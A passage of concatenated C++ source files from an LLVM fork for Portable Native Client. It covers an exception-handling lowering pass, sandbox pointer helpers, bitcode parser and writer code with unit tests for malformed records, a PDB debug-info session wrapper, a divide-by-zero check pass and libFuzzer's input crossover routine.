Func->getParent()->getFunctionList().insertAfter(Func, HelperFunc);
BasicBlock *EntryBB = BasicBlock::Create(Func->getContext(), "", HelperFunc);
BasicBlock *NormalBB = BasicBlock::Create(Func->getContext(), "normal",
HelperFunc);
BasicBlock *ExceptionBB = BasicBlock::Create(Func->getContext(), "exception",
HelperFunc);
// Unpack the helper function's arguments.
Function::arg_iterator ArgIter = HelperFunc->arg_begin();
SmallVector<Value *, 10> InnerCallArgs;
for (unsigned I = 0, E = Invoke->getNumArgOperands(); I < E; ++I) {
ArgIter->setName("arg");
InnerCallArgs.push_back(ArgIter++);
}
Argument *CalleeArg = ArgIter++;
Argument *JmpBufArg = ArgIter++;
CalleeArg->setName("func_ptr");
JmpBufArg->setName("jmp_buf");
// Create setjmp() call.
Value *SetjmpArgs[] = { JmpBufArg };
CallInst *SetjmpCall = CallInst::Create(SetjmpIntrinsic, SetjmpArgs,
"invoke_sj", EntryBB);
CopyDebug(SetjmpCall, Invoke);
// Setting the "returns_twice" attribute here prevents optimization
// passes from inlining HelperFunc into its caller.
SetjmpCall->setCanReturnTwice();
// Check setjmp()'s result.
Value *IsZero = CopyDebug(new ICmpInst(*EntryBB, CmpInst::ICMP_EQ, SetjmpCall,
ConstantInt::get(I32, 0),
"invoke_sj_is_zero"), Invoke);
CopyDebug(BranchInst::Create(NormalBB, ExceptionBB, IsZero, EntryBB), Invoke);
// Handle the normal, non-exceptional code path.
CallInst *InnerCall = CallInst::Create(CalleeArg, InnerCallArgs, "",
NormalBB);
CopyDebug(InnerCall, Invoke);
InnerCall->setAttributes(Invoke->getAttributes());
InnerCall->setCallingConv(Invoke->getCallingConv());
if (ResultAlloca) {
InnerCall->setName("result");
Argument *ResultArg = ArgIter++;
ResultArg->setName("result_ptr");
CopyDebug(new StoreInst(InnerCall, ResultArg, NormalBB), Invoke);
}
ReturnInst::Create(Func->getContext(), ConstantInt::get(I32, 0), NormalBB);
// Handle the exceptional code path.
ReturnInst::Create(Func->getContext(), ConstantInt::get(I32, 1), ExceptionBB);
// Create the outer call to the helper function.
SmallVector<Value *, 10> OuterCallArgs;
for (unsigned I = 0, E = Invoke->getNumArgOperands(); I < E; ++I)
OuterCallArgs.push_back(Invoke->getArgOperand(I));
OuterCallArgs.push_back(Invoke->getCalledValue());
OuterCallArgs.push_back(FrameJmpBuf);
if (ResultAlloca)
OuterCallArgs.push_back(ResultAlloca);
CallInst *OuterCall = CallInst::Create(HelperFunc, OuterCallArgs,
"invoke_is_exc", Invoke);
CopyDebug(OuterCall, Invoke);
// Retrieve the function return value stored in the alloca. We only
// need to do this on the non-exceptional path, but we currently do
// it unconditionally because that is simpler.
if (ResultAlloca) {
Value *Result = new LoadInst(ResultAlloca, "", Invoke);
Result->takeName(Invoke);
Invoke->replaceAllUsesWith(Result);
}
return OuterCall;
}
static void convertInvokeToCall(InvokeInst *Invoke) {
SmallVector<Value*, 16> CallArgs(Invoke->op_begin(), Invoke->op_end() - 3);
// Insert a normal call instruction.
CallInst *NewCall = CallInst::Create(Invoke->getCalledValue(),
CallArgs, "", Invoke);
CopyDebug(NewCall, Invoke);
NewCall->takeName(Invoke);
NewCall->setCallingConv(Invoke->getCallingConv());
NewCall->setAttributes(Invoke->getAttributes());
Invoke->replaceAllUsesWith(NewCall);
// Insert an unconditional branch to the normal destination.
BranchInst::Create(Invoke->getNormalDest(), Invoke);
// Remove any PHI node entries from the exception destination.
Invoke->getUnwindDest()->removePredecessor(Invoke->getParent());
Invoke->eraseFromParent();
}
void FuncRewriter::expandInvokeInst(InvokeInst *Invoke) {
// Calls to ReturnsTwice functions, i.e. setjmp(), can't be moved
// into a helper function. setjmp() can't throw an exception
// anyway, so convert the invoke to a call.
if (Invoke->hasFnAttr(Attribute::ReturnsTwice)) {
convertInvokeToCall(Invoke);
return;
}
initializeFrame();
LandingPadInst *LP = Invoke->getLandingPadInst();
Type *I32 = Type::getInt32Ty(Func->getContext());
Value *ExcInfo = ConstantInt::get(
I32, ExcInfoWriter->getIDForLandingPadClauseList(LP));
// Append the new frame to the list.
Value *OldList = CopyDebug(
new LoadInst(EHStackTlsVar, "old_eh_stack", Invoke), Invoke);
CopyDebug(new StoreInst(OldList, FrameNextPtr, Invoke), Invoke);
CopyDebug(new StoreInst(ExcInfo, FrameExcInfo, Invoke), Invoke);
CopyDebug(new StoreInst(Frame, EHStackTlsVar, Invoke), Invoke);
Value *IsException = createSetjmpWrappedCall(Invoke);
// Restore the old frame list. We only need to do this on the
// non-exception code path, but we currently do it unconditionally
// because that is simpler. (The PNaCl C++ runtime library restores
// the old frame list on the exceptional path; doing it again here
// redundantly is OK.)
CopyDebug(new StoreInst(OldList, EHStackTlsVar, Invoke), Invoke);
Value *IsZero = CopyDebug(new ICmpInst(Invoke, CmpInst::ICMP_EQ, IsException,
ConstantInt::get(I32, 0),
"invoke_sj_is_zero"), Invoke);
CopyDebug(BranchInst::Create(Invoke->getNormalDest(), Invoke->getUnwindDest(),
IsZero, Invoke),
Invoke);
Invoke->eraseFromParent();
}
void FuncRewriter::expandResumeInst(ResumeInst *Resume) {
if (!EHResumeFunc) {
EHResumeFunc = Func->getParent()->getFunction("__pnacl_eh_resume");
}
if (!EHResumeFunc) {
if (AllowUndefEhFuncs) {
// Create a declaration of __pnacl_eh_resume:
Module* M = Func->getParent();
LLVMContext& C = M->getContext();
auto Args = std::vector<Type*>(1, Type::getInt8Ty(C)->getPointerTo());
EHResumeFunc =
Function::Create(FunctionType::get(Type::getVoidTy(C),
Args,
false),
GlobalValue::ExternalLinkage,
"__pnacl_eh_resume");
M->getFunctionList().insertAfter(Func, EHResumeFunc);
EHResumeFunc->setDoesNotReturn();
} else {
report_fatal_error("__pnacl_eh_resume() not defined");
}
}
// The "resume" instruction gets passed the landingpad's full result
// (struct LandingPadResult above). Extract the exception_obj field
// to pass to __pnacl_eh_resume(), which doesn't need the
// matched_clause_id field.
unsigned Indexes[] = { 0 };
Value *ExceptionPtr =
CopyDebug(ExtractValueInst::Create(Resume->getValue(), Indexes,
"resume_exc", Resume), Resume);
// Cast to the pointer type that __pnacl_eh_resume() expects.
if (EHResumeFunc->getFunctionType()->getFunctionNumParams() != 1)
report_fatal_error("Bad type for __pnacl_eh_resume()");
Type *ArgType = EHResumeFunc->getFunctionType()->getFunctionParamType(0);
ExceptionPtr = new BitCastInst(ExceptionPtr, ArgType, "resume_cast", Resume);
Value *Args[] = { ExceptionPtr };
CopyDebug(CallInst::Create(EHResumeFunc, Args, "", Resume), Resume);
new UnreachableInst(Func->getContext(), Resume);
Resume->eraseFromParent();
}
void FuncRewriter::expandFunc() {
Type *I32 = Type::getInt32Ty(Func->getContext());
// We need to do two passes: When we process an invoke we need to
// look at its landingpad, so we can't remove the landingpads until
// all the invokes have been processed.
for (Function::iterator BB = Func->begin(), E = Func->end(); BB != E; ++BB) {
for (BasicBlock::iterator Iter = BB->begin(), E = BB->end(); Iter != E; ) {
Instruction *Inst = Iter++;
if (InvokeInst *Invoke = dyn_cast<InvokeInst>(Inst)) {
expandInvokeInst(Invoke);
} else if (ResumeInst *Resume = dyn_cast<ResumeInst>(Inst)) {
expandResumeInst(Resume);
} else if (IntrinsicInst *Intrinsic = dyn_cast<IntrinsicInst>(Inst)) {
if (Intrinsic->getIntrinsicID() == Intrinsic::eh_typeid_for) {
Value *ExcType = Intrinsic->getArgOperand(0);
Value *Val = ConstantInt::get(
I32, ExcInfoWriter->getIDForExceptionType(ExcType));
Intrinsic->replaceAllUsesWith(Val);
Intrinsic->eraseFromParent();
}
}
}
}
for (Function::iterator BB = Func->begin(), E = Func->end(); BB != E; ++BB) {
for (BasicBlock::iterator Iter = BB->begin(), E = BB->end(); Iter != E; ) {
Instruction *Inst = Iter++;
if (LandingPadInst *LP = dyn_cast<LandingPadInst>(Inst)) {
initializeFrame();
Value *LPPtr = new BitCastInst(
FrameJmpBuf, LP->getType()->getPointerTo(), "landingpad_ptr", LP);
Value *LPVal = CopyDebug(new LoadInst(LPPtr, "", LP), LP);
LPVal->takeName(LP);
LP->replaceAllUsesWith(LPVal);
LP->eraseFromParent();
}
}
}
}
bool PNaClSjLjEH::runOnModule(Module &M) {
Type *JmpBufTy = ArrayType::get(Type::getInt8Ty(M.getContext()),
kPNaClJmpBufSize);
// Define "struct ExceptionFrame".
StructType *ExceptionFrameTy = StructType::create(M.getContext(),
"ExceptionFrame");
Type *ExceptionFrameFields[] = {
JmpBufTy, // jmp_buf
ExceptionFrameTy->getPointerTo(), // struct ExceptionFrame *next
Type::getInt32Ty(M.getContext()) // Exception info (clause list ID)
};
ExceptionFrameTy->setBody(ExceptionFrameFields);
ExceptionInfoWriter ExcInfoWriter(&M.getContext());
for (Module::iterator Func = M.begin(), E = M.end(); Func != E; ++Func) {
FuncRewriter Rewriter(ExceptionFrameTy, &ExcInfoWriter, Func);
Rewriter.expandFunc();
}
ExcInfoWriter.defineGlobalVariables(&M);
return true;
}
ModulePass *llvm::createPNaClSjLjEHPass() {
return new PNaClSjLjEH();
}
<file_sep>/lib/Transforms/MinSFI/Utils.cpp
//===-- Utils.cpp - Helper functions for MinSFI passes --------------------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
#include "llvm/Support/CommandLine.h"
#include "llvm/Transforms/MinSFI.h"
using namespace llvm;
static cl::opt<uint32_t>
PointerSizeInBits("minsfi-ptrsize", cl::init(32),
cl::desc("Size of the address subspace in bits"));
uint32_t minsfi::GetPointerSizeInBits() {
if (PointerSizeInBits < 20 || PointerSizeInBits > 32)
report_fatal_error("MinSFI: Size of the sandboxed pointers is out of "
"bounds (20-32)");
return PointerSizeInBits;
}
uint64_t minsfi::GetAddressSubspaceSize() {
return 1LL << GetPointerSizeInBits();
}
<file_sep>/unittests/Bitcode/NaClParseTypesTest.cpp
//===- llvm/unittest/Bitcode/NaClParseTypesTest.cpp ---------------------===//
// Tests parser for PNaCl bitcode.
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
// Tests record errors in the types block when parsing PNaCl bitcode.
// TODO(kschimpf) Add more tests.
#include "NaClMungeTest.h"
using namespace llvm;
namespace naclmungetest {
TEST(NaClParseTypesTest, BadTypeReferences) {
const uint64_t BitcodeRecords[] = {
1, 65535, 8, 2, Terminator,
1, 65535, 17, 2, Terminator,
3, 1, 2, Terminator,
3, 7, 32, Terminator,
3, 3, Terminator,
0, 65534, Terminator,
0, 65534, Terminator
};
const uint64_t ReplaceIndex = 4;
// Show text of base input.
NaClObjDumpMunger BaseMunger(ARRAY_TERM(BitcodeRecords));
EXPECT_TRUE(BaseMunger.runTest());
EXPECT_EQ(
" 0:0|<65532, 80, 69, 88, 69, 1, 0,|Magic Number: 'PEXE' (80, 69, "
"88, 69)\n"
" | 8, 0, 17, 0, 4, 0, 2, 0, 0, |PNaCl Version: 2\n"
" | 0> |\n"
" 16:0|1: <65535, 8, 2> |module { // BlockID = 8\n"
" 24:0| 1: <65535, 17, 2> | types { // BlockID = 17\n"
" 32:0| 3: <1, 2> | count 2;\n"
" 34:4| 3: <7, 32> | @t0 = i32;\n"
" 37:6| 3: <3> | @t1 = float;\n"
" 39:4| 0: <65534> | }\n"
" 40:0|0: <65534> |}\n",
BaseMunger.getTestResults());
// Show that we successfully parse the base input.
NaClParseBitcodeMunger Munger(ARRAY_TERM(BitcodeRecords));
EXPECT_TRUE(Munger.runTest(true));
EXPECT_EQ(
"Successful parse!\n",
Munger.getTestResults());
// Show what happens when misdefining: @t1 = float"
const uint64_t AddSelfReference[] = {
ReplaceIndex, NaClMungedBitcode::Replace, 3, 3, 1, Terminator
};
EXPECT_FALSE(Munger.runTest(ARRAY(AddSelfReference)));
EXPECT_EQ("Invalid TYPE_CODE_FLOAT record\n"
"Corrupted bitcode\n",
stripErrorPrefix(Munger.getTestResults()));
}
} // end of namespace naclmungetest
<file_sep>/lib/Bitcode/NaCl/Writer/NaClBitcodeWriterPass.cpp
//===- NaClBitcodeWriterPass.cpp - Bitcode writing pass -------------------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// NaClBitcodeWriterPass implementation.
//
//===----------------------------------------------------------------------===//
#include "llvm/Bitcode/NaCl/NaClBitcodeWriterPass.h"
#include "llvm/Bitcode/NaCl/NaClReaderWriter.h"
#include "llvm/IR/Module.h"
#include "llvm/IR/PassManager.h"
#include "llvm/Pass.h"
using namespace llvm;
PreservedAnalyses NaClBitcodeWriterPass::run(Module *M) {
NaClWriteBitcodeToFile(M, OS);
return PreservedAnalyses::all();
}
namespace {
class NaClWriteBitcodePass : public ModulePass {
raw_ostream &OS; // raw_ostream to print on
public:
static char ID; // Pass identification, replacement for typeid
explicit NaClWriteBitcodePass(raw_ostream &o)
: ModulePass(ID), OS(o) {}
const char *getPassName() const override { return "NaCl Bitcode Writer"; }
bool runOnModule(Module &M) override {
NaClWriteBitcodeToFile(&M, OS);
return false;
}
};
}
char NaClWriteBitcodePass::ID = 0;
ModulePass *llvm::createNaClBitcodeWriterPass(raw_ostream &Str) {
return new NaClWriteBitcodePass(Str);
}
<file_sep>/unittests/Bitcode/NaClMungedIoTest.cpp
//===- llvm/unittest/Bitcode/NaClMungedIoTest.cpp -------------------------===//
// Tests munging NaCl bitcode records.
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
// For class NaClMungedBitcode, tests reading initial sequence of records and
// writing out munged set of bitcode records.
#include "NaClMungeTest.h"
namespace naclmungetest {
using namespace llvm;
typedef SmallVector<char, 1024> TextBuffer;
// Writes out a sequence of munged bitcode records, and writes them into
// the text buffer. Returns a corresponding memory buffer containing
// the munged bitcode records.
std::unique_ptr<MemoryBuffer> writeMungedBitcode(
NaClMungedBitcode &Bitcode, TextBuffer &Buffer,
NaClMungedBitcode::WriteFlags &Flags) {
Bitcode.write(Buffer, /* AddHeader = */ true, Flags);
StringRef Input(Buffer.data(), Buffer.size());
return MemoryBuffer::getMemBuffer(Input, "Test", false);
}
std::unique_ptr<MemoryBuffer> writeMungedBitcode(
NaClMungedBitcode &Bitcode, TextBuffer &Buffer) {
NaClMungedBitcode::WriteFlags Flags;
return writeMungedBitcode(Bitcode, Buffer, Flags);
}
// Write out the bitcode, parse it back, and return the resulting
// munged bitcode.
std::string parseWrittenMungedBitcode(NaClMungedBitcode &OutBitcode) {
TextBuffer Buffer;
NaClMungedBitcode InBitcode(writeMungedBitcode(OutBitcode, Buffer));
return stringify(InBitcode);
}
// Sample toy bitcode records.
const uint64_t Records[] = {
1, naclbitc::BLK_CODE_ENTER, 8, 2, Terminator,
3, naclbitc::MODULE_CODE_VERSION, 1, Terminator,
1, naclbitc::BLK_CODE_ENTER, 0, 2, Terminator,
3, naclbitc::BLOCKINFO_CODE_SETBID, 12, Terminator,
2, naclbitc::BLK_CODE_DEFINE_ABBREV, 1, 1, 10, Terminator,
0, naclbitc::BLK_CODE_EXIT, Terminator,
1, naclbitc::BLK_CODE_ENTER, 17, 3, Terminator,
2, naclbitc::BLK_CODE_DEFINE_ABBREV, 4, 1, 21, 0, 1, 1, 0, 3,
0, 1, 2, Terminator,
3, naclbitc::TYPE_CODE_NUMENTRY, 2, Terminator,
3, naclbitc::TYPE_CODE_VOID, Terminator,
4, naclbitc::TYPE_CODE_FUNCTION, 0, 0, Terminator,
0, naclbitc::BLK_CODE_EXIT, Terminator,
3, naclbitc::MODULE_CODE_FUNCTION, 1, 0, 0, 3, Terminator,
1, naclbitc::BLK_CODE_ENTER, 12, 3, Terminator,
3, naclbitc::FUNC_CODE_DECLAREBLOCKS, 1, Terminator,
4, naclbitc::FUNC_CODE_INST_RET, Terminator,
0, naclbitc::BLK_CODE_EXIT, Terminator,
0, naclbitc::BLK_CODE_EXIT, Terminator,
};
// Show a more readable form of what the program is.
TEST(NaClMungedIoTest, TestDumpingBitcode) {
NaClObjDumpMunger DumpMunger(ARRAY_TERM(Records));
EXPECT_TRUE(DumpMunger.runTest());
EXPECT_EQ(
" 0:0|<65532, 80, 69, 88, 69, 1, 0,|Magic Number: 'PEXE' (80, 69, "
"88, 69)\n"
" | 8, 0, 17, 0, 4, 0, 2, 0, 0, |PNaCl Version: 2\n"
" | 0> |\n"
" 16:0|1: <65535, 8, 2> |module { // BlockID = 8\n"
" 24:0| 3: <1, 1> | version 1;\n"
" 26:4| 1: <65535, 0, 2> | abbreviations { // BlockID "
"= 0\n"
" 36:0| 3: <1, 12> | function:\n"
" 38:4| 2: <65533, 1, 1, 10> | @a0 = abbrev <10>;\n"
" 40:4| 0: <65534> | }\n"
" 44:0| 1: <65535, 17, 3> | types { // BlockID = 17\n"
" 52:0| 2: <65533, 4, 1, 21, 0, | %a0 = abbrev <21, fixed(1),"
" \n"
" | 1, 1, 0, 3, 0, 1, 2> | array(fixed("
"2))>;\n"
" 56:7| 3: <1, 2> | count 2;\n"
" 59:4| 3: <2> | @t0 = void;\n"
" 61:3| 4: <21, 0, 0> | @t1 = void (); <%a0>\n"
" 62:7| 0: <65534> | }\n"
" 64:0| 3: <8, 1, 0, 0, 3> | define internal void @f0();\n"
" 68:6| 1: <65535, 12, 3> | function void @f0() { \n"
" | | // BlockID "
"= 12\n"
" 76:0| 3: <1, 1> | blocks 1;\n"
" | | %b0:\n"
" 78:5| 4: <10> | ret void; <@a0>\n"
" 79:0| 0: <65534> | }\n"
" 80:0|0: <65534> |}\n",
DumpMunger.getTestResults());
}
// Test that we can write out bitcode, and then read it back in.
TEST(NaClMungedIoTest, TestWriteThenRead) {
// Create munged bitcode for the given records.
NaClMungedBitcode Bitcode(ARRAY_TERM(Records));
// The expected output when stringifying this input.
const std::string ExpectedRecords(
" 1: [65535, 8, 2]\n"
" 3: [1, 1]\n"
" 1: [65535, 0, 2]\n"
" 3: [1, 12]\n"
" 2: [65533, 1, 1, 10]\n"
" 0: [65534]\n"
" 1: [65535, 17, 3]\n"
" 2: [65533, 4, 1, 21, 0, 1, 1, 0, 3, 0, 1, 2]\n"
" 3: [1, 2]\n"
" 3: [2]\n"
" 4: [21, 0, 0]\n"
" 0: [65534]\n"
" 3: [8, 1, 0, 0, 3]\n"
" 1: [65535, 12, 3]\n"
" 3: [1, 1]\n"
" 4: [10]\n"
" 0: [65534]\n"
" 0: [65534]\n");
EXPECT_EQ(ExpectedRecords, stringify(Bitcode));
// Write and read the bitcode back into a sequence of records.
EXPECT_EQ(ExpectedRecords, parseWrittenMungedBitcode(Bitcode));
}
// Test that writing truncated bitcode is difficult, due to word
// alignment requirements for bitcode files. Note: Bitcode files must
// be divisible by 4.
TEST(NaClMungedIoTest, TestTruncatedNonalignedBitcode) {
// Created an example of a truncated bitcode file.
NaClMungedBitcode Bitcode(ARRAY_TERM(Records));
for (size_t i = 2, e = Bitcode.getBaseRecords().size(); i < e; ++i)
Bitcode.remove(i);
// The expected output when stringifying this input.
EXPECT_EQ(
" 1: [65535, 8, 2]\n"
" 3: [1, 1]\n",
stringify(Bitcode));
// Show that we can't write the bitcode correctly.
TextBuffer WriteBuffer;
std::string LogBuffer;
raw_string_ostream StrBuf(LogBuffer);
NaClMungedBitcode::WriteFlags Flags;
Flags.setErrStream(StrBuf);
writeMungedBitcode(Bitcode, WriteBuffer, Flags);
EXPECT_EQ(
"Error (Block 8): Missing close block.\n",
StrBuf.str());
}
} // end of namespace naclmungetest
<file_sep>/lib/DebugInfo/PDB/DIA/DIASession.cpp
//===- DIASession.cpp - DIA implementation of IPDBSession -------*- C++ -*-===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
#include "llvm/ADT/STLExtras.h"
#include "llvm/DebugInfo/PDB/DIA/DIAEnumDebugStreams.h"
#include "llvm/DebugInfo/PDB/DIA/DIAEnumSourceFiles.h"
#include "llvm/DebugInfo/PDB/DIA/DIARawSymbol.h"
#include "llvm/DebugInfo/PDB/DIA/DIASession.h"
#include "llvm/DebugInfo/PDB/DIA/DIASourceFile.h"
#include "llvm/DebugInfo/PDB/PDBSymbolCompiland.h"
#include "llvm/DebugInfo/PDB/PDBSymbolExe.h"
#include "llvm/Support/ConvertUTF.h"
using namespace llvm;
namespace {}
DIASession::DIASession(CComPtr<IDiaSession> DiaSession) : Session(DiaSession) {}
PDB_ErrorCode DIASession::createFromPdb(StringRef Path,
std::unique_ptr<IPDBSession> &Session) {
CComPtr<IDiaDataSource> DiaDataSource;
CComPtr<IDiaSession> DiaSession;
// We assume that CoInitializeEx has already been called by the executable.
HRESULT Result = ::CoCreateInstance(
CLSID_DiaSource, nullptr, CLSCTX_INPROC_SERVER, IID_IDiaDataSource,
reinterpret_cast<LPVOID *>(&DiaDataSource));
if (FAILED(Result))
return PDB_ErrorCode::NoPdbImpl;
llvm::SmallVector<UTF16, 128> Path16;
if (!llvm::convertUTF8ToUTF16String(Path, Path16))
return PDB_ErrorCode::InvalidPath;
const wchar_t *Path16Str = reinterpret_cast<const wchar_t*>(Path16.data());
if (FAILED(Result = DiaDataSource->loadDataFromPdb(Path16Str))) {
if (Result == E_PDB_NOT_FOUND)
return PDB_ErrorCode::InvalidPath;
else if (Result == E_PDB_FORMAT)
return PDB_ErrorCode::InvalidFileFormat;
else if (Result == E_INVALIDARG)
return PDB_ErrorCode::InvalidParameter;
else if (Result == E_UNEXPECTED)
return PDB_ErrorCode::AlreadyLoaded;
else
return PDB_ErrorCode::UnknownError;
}
if (FAILED(Result = DiaDataSource->openSession(&DiaSession))) {
if (Result == E_OUTOFMEMORY)
return PDB_ErrorCode::NoMemory;
else
return PDB_ErrorCode::UnknownError;
}
Session.reset(new DIASession(DiaSession));
return PDB_ErrorCode::Success;
}
uint64_t DIASession::getLoadAddress() const {
uint64_t LoadAddress;
bool success = (S_OK == Session->get_loadAddress(&LoadAddress));
return (success) ? LoadAddress : 0;
}
void DIASession::setLoadAddress(uint64_t Address) {
Session->put_loadAddress(Address);
}
std::unique_ptr<PDBSymbolExe> DIASession::getGlobalScope() const {
CComPtr<IDiaSymbol> GlobalScope;
if (S_OK != Session->get_globalScope(&GlobalScope))
return nullptr;
auto RawSymbol = llvm::make_unique<DIARawSymbol>(*this, GlobalScope);
auto PdbSymbol(PDBSymbol::create(*this, std::move(RawSymbol)));
std::unique_ptr<PDBSymbolExe> ExeSymbol(
static_cast<PDBSymbolExe *>(PdbSymbol.release()));
return ExeSymbol;
}
std::unique_ptr<PDBSymbol> DIASession::getSymbolById(uint32_t SymbolId) const {
CComPtr<IDiaSymbol> LocatedSymbol;
if (S_OK != Session->symbolById(SymbolId, &LocatedSymbol))
return nullptr;
auto RawSymbol = llvm::make_unique<DIARawSymbol>(*this, LocatedSymbol);
return PDBSymbol::create(*this, std::move(RawSymbol));
}
std::unique_ptr<IPDBEnumSourceFiles> DIASession::getAllSourceFiles() const {
CComPtr<IDiaEnumSourceFiles> Files;
if (S_OK != Session->findFile(nullptr, nullptr, nsNone, &Files))
return nullptr;
return llvm::make_unique<DIAEnumSourceFiles>(*this, Files);
}
std::unique_ptr<IPDBEnumSourceFiles> DIASession::getSourceFilesForCompiland(
const PDBSymbolCompiland &Compiland) const {
CComPtr<IDiaEnumSourceFiles> Files;
const DIARawSymbol &RawSymbol =
static_cast<const DIARawSymbol &>(Compiland.getRawSymbol());
if (S_OK !=
Session->findFile(RawSymbol.getDiaSymbol(), nullptr, nsNone, &Files))
return nullptr;
return llvm::make_unique<DIAEnumSourceFiles>(*this, Files);
}
std::unique_ptr<IPDBSourceFile>
DIASession::getSourceFileById(uint32_t FileId) const {
CComPtr<IDiaSourceFile> LocatedFile;
if (S_OK != Session->findFileById(FileId, &LocatedFile))
return nullptr;
return llvm::make_unique<DIASourceFile>(*this, LocatedFile);
}
std::unique_ptr<IPDBEnumDataStreams> DIASession::getDebugStreams() const {
CComPtr<IDiaEnumDebugStreams> DiaEnumerator;
if (S_OK != Session->getEnumDebugStreams(&DiaEnumerator))
return nullptr;
return llvm::make_unique<DIAEnumDebugStreams>(DiaEnumerator);
}
<file_sep>/lib/Transforms/NaCl/InsertDivideCheck.cpp
//===- InsertDivideCheck.cpp - Add divide by zero checks ------------------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// This pass adds a check for divide by zero before every integer DIV or REM.
//
//===----------------------------------------------------------------------===//
#define DEBUG_TYPE "add-divide-check"
#include "llvm/ADT/STLExtras.h"
#include "llvm/ADT/SmallPtrSet.h"
#include "llvm/IR/BasicBlock.h"
#include "llvm/IR/CFG.h"
#include "llvm/IR/Constants.h"
#include "llvm/IR/Function.h"
#include "llvm/IR/Instructions.h"
#include "llvm/IR/Intrinsics.h"
#include "llvm/IR/LLVMContext.h"
#include "llvm/Pass.h"
#include "llvm/Transforms/NaCl.h"
using namespace llvm;
namespace {
class InsertDivideCheck : public FunctionPass {
public:
static char ID;
InsertDivideCheck() : FunctionPass(ID) {
initializeInsertDivideCheckPass(*PassRegistry::getPassRegistry());
}
bool runOnFunction(Function &F);
};
}
static BasicBlock *CreateTrapBlock(Function &F, DebugLoc dl) {
BasicBlock *TrapBlock = BasicBlock::Create(F.getContext(), "divrem.by.zero",
&F);
Value *TrapFn = Intrinsic::getDeclaration(F.getParent(), Intrinsic::trap);
CallInst::Create(TrapFn, "", TrapBlock)->setDebugLoc(dl);
(new UnreachableInst(F.getContext(), TrapBlock))->setDebugLoc(dl);
return TrapBlock;
}
bool InsertDivideCheck::runOnFunction(Function &F) {
SmallPtrSet<Instruction*, 8> GuardedDivs;
// If the pass finds a DIV/REM that needs to be checked for zero denominator,
// it will insert a new "trap" block, and split the block that contains the
// DIV/REM into two blocks. The new BasicBlocks are added after the current
// BasicBlock, so that if there is more than one DIV/REM in the same block,
// all are visited.
for (Function::iterator I = F.begin(); I != F.end(); I++) {
BasicBlock *BB = I;
for (BasicBlock::iterator BI = BB->begin(), BE = BB->end();
BI != BE; BI++) {
BinaryOperator *DivInst = dyn_cast<BinaryOperator>(BI);
if (!DivInst || (GuardedDivs.count(DivInst) != 0))
continue;
unsigned Opcode = DivInst->getOpcode();
if (Opcode != Instruction::SDiv && Opcode != Instruction::UDiv &&
Opcode != Instruction::SRem && Opcode != Instruction::URem)
continue;
Value *Denominator = DivInst->getOperand(1);
if (!Denominator->getType()->isIntegerTy())
continue;
DebugLoc dl = DivInst->getDebugLoc();
if (ConstantInt *DenomConst = dyn_cast<ConstantInt>(Denominator)) {
// Divides by constants do not need a denominator test.
if (DenomConst->isZero()) {
// For explicit divides by zero, insert a trap before DIV/REM
Value *TrapFn = Intrinsic::getDeclaration(F.getParent(),
Intrinsic::trap);
CallInst::Create(TrapFn, "", DivInst)->setDebugLoc(dl);
}
continue;
}
// Create a trap block.
BasicBlock *TrapBlock = CreateTrapBlock(F, dl);
// Move instructions in BB from DivInst to BB's end to a new block.
BasicBlock *Successor = BB->splitBasicBlock(BI, "guarded.divrem");
// Remove the unconditional branch inserted by splitBasicBlock.
BB->getTerminator()->eraseFromParent();
// Remember that DivInst was already processed, so that when we process
// inserted blocks later, we do not attempt to again guard it.
GuardedDivs.insert(DivInst);
// Compare the denominator with zero.
Value *Zero = ConstantInt::get(Denominator->getType(), 0);
Value *DenomIsZero = new ICmpInst(*BB, ICmpInst::ICMP_EQ, Denominator,
Zero, "");
// Put in a condbranch to the trap block.
BranchInst::Create(TrapBlock, Successor, DenomIsZero, BB);
// BI is invalidated when we split. Stop the BasicBlock iterator.
break;
}
}
return false;
}
char InsertDivideCheck::ID = 0;
INITIALIZE_PASS(InsertDivideCheck, "insert-divide-check",
"Insert divide by zero checks", false, false)
FunctionPass *llvm::createInsertDivideCheckPass() {
return new InsertDivideCheck();
}
<file_sep>/tools/pnacl-freeze/CMakeLists.txt
set(LLVM_LINK_COMPONENTS
BitReader
Core
NaClBitWriter
NaClBitReader
Support)
add_llvm_tool(pnacl-freeze
pnacl-freeze.cpp
)
<file_sep>/lib/Fuzzer/FuzzerCrossOver.cpp
//===- FuzzerCrossOver.cpp - Cross over two test inputs -------------------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
// Cross over test inputs.
//===----------------------------------------------------------------------===//
#include "FuzzerInternal.h"
#include <algorithm>
namespace fuzzer {
// Cross A and B, store the result (ap to MaxLen bytes) in U.
void CrossOver(const Unit &A, const Unit &B, Unit *U, size_t MaxLen) {
size_t Size = rand() % MaxLen + 1;
U->clear();
const Unit *V = &A;
size_t PosA = 0;
size_t PosB = 0;
size_t *Pos = &PosA;
while (U->size() < Size && (PosA < A.size() || PosB < B.size())) {
// Merge a part of V into U.
size_t SizeLeftU = Size - U->size();
if (*Pos < V->size()) {
size_t SizeLeftV = V->size() - *Pos;
size_t MaxExtraSize = std::min(SizeLeftU, SizeLeftV);
size_t ExtraSize = rand() % MaxExtraSize + 1;
U->insert(U->end(), V->begin() + *Pos, V->begin() + *Pos + ExtraSize);
(*Pos) += ExtraSize;
}
// Use the other Unit on the next iteration.
if (Pos == &PosA) {
Pos = &PosB;
V = &B;
} else {
Pos = &PosA;
V = &A;
}
}
}
} // namespace fuzzer
<file_sep>/lib/Transforms/NaCl/ExpandByVal.cpp
//===- ExpandByVal.cpp - Expand out use of "byval" and "sret" attributes---===//
//
// The LLVM Compiler Infrastructure
//
